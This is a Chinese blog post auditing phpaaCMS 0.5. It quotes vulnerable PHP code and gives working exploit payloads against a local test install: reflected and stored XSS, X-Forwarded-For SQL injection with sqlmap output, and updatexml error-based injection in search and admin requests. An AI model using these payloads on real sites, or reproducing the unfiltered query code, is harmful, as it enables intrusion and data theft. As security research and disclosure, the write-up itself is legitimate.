记一次无聊的审计(phpaaCMS0.5)

作者: shiyan 分类: 代码审计 发布时间: 2018-01-14 20:15

0x00

这个cms是在一期周报里看到的,不过周报里是0.3版本的,而且是最简单的一个GET注入,所以响应上一篇审计ZZCMS时我在群里说过的豪言,像ZZCMS这样子的,给我来一打,我能打十个!(#斜眼笑。。。)

0x01

那我们根据他周报里出现的最简单的GET注入的位置,看看他是如何修复的。

show.php 1行 — 6行

<?php
include_once 'global.php';

$id = !empty($id) ? intval($id) : 0;
$arc = getArticleInfo($id);
?>

可以看到,他只把类型给强制给转换了,而不是用全局包含的形式去过滤,所以肯定会出现过滤不严的问题,从而导致肯定会会出现SQL注入。

0x02

search.php 21行 反射XSS

<td align="left">搜索关键字:<font style="color:#F00""><?php echo $_GET['keywords'];?></font></td>

这里其实是搜索框这里的,也是最近在测试一些站点最常见的漏洞,毕竟有这么一个,我这天的报告就算完成了一半了。

http://127.0.0.1/phpaaCMS/search.php?keywords=<script>alert(1);</script>

0x03

按照常规思路继续来到后台留言板这里看下这里的代码。

message.php 13行–40行

<?php
include_once 'header.php';

if(isset($_POST['name'])){
	if(empty($_POST['name'])){
		exit ("<script>alert('称呼为空!'); window.history.go(-1);</script>");
	}elseif(empty($_POST['content'])){
		exit ("<script>alert('内容不能为空!');window.history.go(-1);</script>");
	}else{
		$record = array(
			'title'			=>$_POST ['title'],
			'name'			=>$_POST ['name'],
			//'sex'			=>$_POST ['sex'],
			//'qq'			=>$_POST ['qq'],
			//'phone'		=>$_POST ['phone'],
			//'email'		=>$_POST ['email'],
			//'address'		=>$_POST ['address'],
			'content'		=>$_POST ['content'],
			'ip'			=>get_client_ip(),
			'created_date'	=>date ( "Y-m-d H:i:s" )
		);
		$id = $db->save('phpaadb_message',$record);
		if($id){
			echo "<script>alert('留言成功!管理员审核才能看到!')
			window.location='message.php';</script>";
		}
	}
}
?>

可以看到,没有一丝丝过滤的就这么插进去了,但是还是得看后台页面进行了过滤没有才是可以的。

/admin/message.php 146行

<font style="color:#009900"><?php echo $list['created_date'];?></font> &nbsp;&nbsp;<font style="color:#0009CC"><?php echo $list['name'];?></font> &nbsp;&nbsp;QQ:<?php echo $list['qq'];?> &nbsp;&nbsp;Email:<?php echo $list['email'];?> &nbsp;&nbsp;IP:<?php echo $list['ip'];?></t>

通过查看,可以确认,储存XSS一枚,确认无疑。

0x04

接着上面那个留言板,我们可能没有仔细观察接受 来访IP那里,我们再来观察一下。

'ip'			=>get_client_ip(),

是不是有种很熟悉的感觉?那我们继续跟进下这个函数的位置看一下。

/include/functions.php 12行 — 23行

function get_client_ip(){
   if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
       $ip = getenv("HTTP_CLIENT_IP");
   else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
       $ip = getenv("HTTP_X_FORWARDED_FOR");
   else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
       $ip = getenv("REMOTE_ADDR");
   else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
       $ip = $_SERVER['REMOTE_ADDR'];
   else
       $ip = "unknown";
   return($ip);

再看到这个函数,是不是和上篇ZZCMS好似兄弟一样?妥妥的一个 XFF 注入啊!那扔SQLmap里看一下结果把。

Parameter: X-Forwarded-For #1* ((custom) HEADER)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: 0.0.0.0' RLIKE (SELECT (CASE WHEN (1926=1926) THEN 0x302e302e302e30 ELSE 0x28 END)) AND 'cAur'='cAur

    Type: error-based
    Title: MySQL >= 5.5 OR error-based - WHERE, HAVING clause (BIGINT UNSIGNED)
    Payload: 0.0.0.0' OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7170627171,(SELECT (ELT(4546=4546,1))),0x7162626b
71,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'dhus'='dhus

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: 0.0.0.0' OR SLEEP(5) AND 'rtPK'='rtPK

可以看到存在布尔盲注,时间盲注,还有报错注入。不过这里得提一个点,由于这是INSERT注入,所以请不要去用sqlmap去测试,因为这会造成很多的垃圾的测试数据,我曾统计过,sqlmap测试一个注入点,基本会输出120~140个payload数据来判断,所以都懂的。

0x05

额,上面忘了记录还有一个点,还是搜索框那里。

/search.php 24行–29行

<?php foreach(getArticleList("cid=".$_GET['id']."|keywords=".$_GET['keywords']."|row=20") as $list){?>
<tr>
<td height="30" align="left"><a href="show.php?id=<?php echo $list['id']?>" target="_blank"><?php echo $list['title']?></a>&nbsp;</td>
<td width="120" align="left"><?php echo $list['pubdate']?>&nbsp;</td>
</tr>
<?php }?>

这里只要跟进一下 getArticleList() 这个函数即可。

/include/function.web.php 136行–206行

function getArticleList($str=''){
	global $db;
	$page = !empty($_REQUEST['page']) ? intval($_REQUEST['page']) : 0;
	$curpage = empty($page)?0:($page-1);
	//定义默认数据
	$init_array =array(
		'row'		=>0,
		'titlelen'	=>0,
		'keywords'	=>0,
		'type'		=>'',
		'cid'		=>'',
		'order'		=>'id',
		'orderway'	=>'desc'
	);
	//用获取的数据覆盖默认数据
	$str_array = explode('|',$str);
	foreach($str_array as $_str_item){
		if(!empty($_str_item)){
			$_str_item_array = explode('=',$_str_item);
			if(!empty($_str_item_array[0])&&!empty($_str_item_array[1])){
				$init_array[$_str_item_array[0]]=$_str_item_array[1];
			}
		}
	}
	
	//定义要用到的变量
	$row		 = $init_array['row'];
	$titlelen	 = $init_array['titlelen'];
	$keywords	 = htmlspecialchars($init_array['keywords']);
	$type		 = $init_array['type'];
	$cid		 = $init_array['cid'];
	$order		 = $init_array['order'];
	$orderway	 = $init_array['orderway'];
	
	//文章标题长度控制
	if(!empty($titlelen)){
		$title="substring(a.title,1,".$titlelen.") as title";
	}else{
		$title="a.title";
	}
	//根据条件数据生成条件语句
	$where = "";
	if(!empty($cid)){
		$where .= " and a.cid in (".$cid.")";
	}else{
		$id = !empty($id) ? intval($id) : 0;
		if(!empty($id)){
			$where .= " and a.cid in (".$id.")";
		}
	}
	if($type=='image'){
		$where .= " and a.pic is not null";
	}
	
	if(!empty($keywords)){
		$where .= " and a.title like '%".$keywords."%' or a.content like '%".$keywords."%'";
	}

	$sql = "select 
	a.id,b.id as cid,".$title.",a.att,a.pic,a.source,
	a.author,a.resume,a.pubdate,a.content,a.hits,a.created_by,a.created_date,
	b.name
	from phpaadb_article a 
	left outer join phpaadb_category b on a.cid=b.id
	where a.delete_session_id is null ".$where." order by a.".$order." ".$orderway;
	
	global $pageList;
	$pageList['pagination_total_number']	= $db->getRowsNum($sql);
	$pageList['pagination_perpage'] 		= empty($row)?$pageList['pagination_total_number']:$row;
	return $db->selectLimit($sql,$pageList['pagination_perpage'],$curpage*$row);
}

函数较多,,懒的细解释,直接一个搜索型报错payload搞定。

search.php?keywords=111%' and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) and '%1%'='%1

然后成功的出来root用户信息了。

XPATH syntax error: ‘[email protected]~’

0x06

page.php 4行–11行

$id = is_numeric($_GET['id'])?$_GET['id']:0;
$code = $_GET['code']?$_GET['code']:'';
if(!empty($id)){
	$page = getPageInfoById($id);
}else{
	$page = getPageInfoByCode($code);
}
?>

这里挺有意思的,如果id存在就用上面的函数,如果不存在就接受下面的code参数,我们分别查看下每个函数的意思把。
在搜索第一个函数的时候,竟然没搜到,后来看到后,程序员犯了个小bug,就是把大写的ID在调用文件里写成小写了,怪不得我搜不到。

/include/function.web.php

68行–71行

function getPageInfoByID($id=0){
	global $db;
	return $db->find("select * from phpaadb_page where id=".$id);	
}

77行–80行

function getPageInfoByCode($code){
	global $db;
	return $db->find("select * from phpaadb_page where code='".$code."'");
}

这不是妥妥的SQL注入啊,不解释。

0x07

额额,前台的差不多就这些了,再弄几个后台没毛用的SQL注入把?不能光前台把。

/admin/category.action.php 16行 — 27 行

if ($act=='edit'){
	$pid = $_POST['pid'];
	$id  = $_POST['cid'];
	$record = array(
		'pid'		=>$_POST ['pid'],
		'name'		=>$_POST ['name'],		
		'seq'		=>$_POST ['seq'],
		'description'=>$_POST['description']
	);
	$db->update('phpaadb_category',$record,'id='.$id);
	header("Location: category.php");

这里关键的这里关键的函数在于act,为什么说关键了,如果没有这个,就不存在接下来的判断。
然后我们继续看下这个update这个函数。这里关键的函数在于act,为什么说关键了,如果没有这个,就不存在接下来的判断。

/include/mysql.class.php 91行 — 107 行

function update($table, $field_values, $where = '') {
	$field_names = $this->getCol ( 'DESC ' . $table );
	$sets = array ();
	foreach ( $field_names as $value ) {
		if (array_key_exists ( $value, $field_values ) == true) {
			$sets [] = $value . " = '" . $field_values [$value] . "'";
		}
	}
	if (! empty ( $sets )) {
		$sql = 'UPDATE ' . $table . ' SET ' . implode ( ', ', $sets ) . ' WHERE ' . $where;
	}
	if ($sql) {
		return $this->query ( $sql );
	} else {
		return false;
	}
}

这里也不解释了,妥妥的后台注入就行了,直接上数据包吧。

POST /phpaaCMS/admin/category.action.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
Referer: http://127.0.0.1/phpaaCMS/admin/category.add.php?act=edit&id=1
Cookie: username=admin; lastURL=http%3A%2F%2F127.0.0.1%2FphpaaCMS%2Fadmin%2Findex.php; bdshare_firstime=1504239219561; security_level=0; UserName=shiyan; PassWord=a346d5941b532654bf137e520cfa3ac0; PHPSESSID=pmh98lmalibbjlrkild42cft07
X-Forwarded-For: 0.0.0.0
Connection: close
Upgrade-Insecure-Requests: 1

act=edit&pid=0&name=%E6%9C%80%E6%96%B0%E5%8A%A8%E6%80%81&seq=0&description=&button=%E4%BF%AE%E6%94%B9%E6%A0%8F%E7%9B%AE&cid=1

pid,name,seq,description这四个参数都存在注入。

payload:

' and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) and '1'='1

0x08

user.add.php 1行–7行

<?php
require_once ("global.php");
$userid		 = trim($_GET ['userid'])?trim($_GET ['userid']):0;
$act			 = trim($_GET ['act'])?trim($_GET ['act']):'add';
$actName = $act == 'add'?'添加':'修改';
$users = $db->find ( "select * from phpaadb_users where userid=" . $userid );
?>

注入注入注入,,,,不无聊了,,乱搞搞就行了,尤其是是这个像ZZCMS一样的CMS。

python才是我的最爱,而apt才是。。。

0x09

有时候我也在想,当初有一个apt的机会,我不敢闯,怕自己做不好,而安服到底是我所追求的吗?我到底一开始想要成为像猪猪侠一样的白帽子,还是像江湖中的侠客一般,仗剑走天涯?可能真的应了那句话,路走的远了,可能真的忘了当初为什么要走这条路。

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

电子邮件地址不会被公开。 必填项已用*标注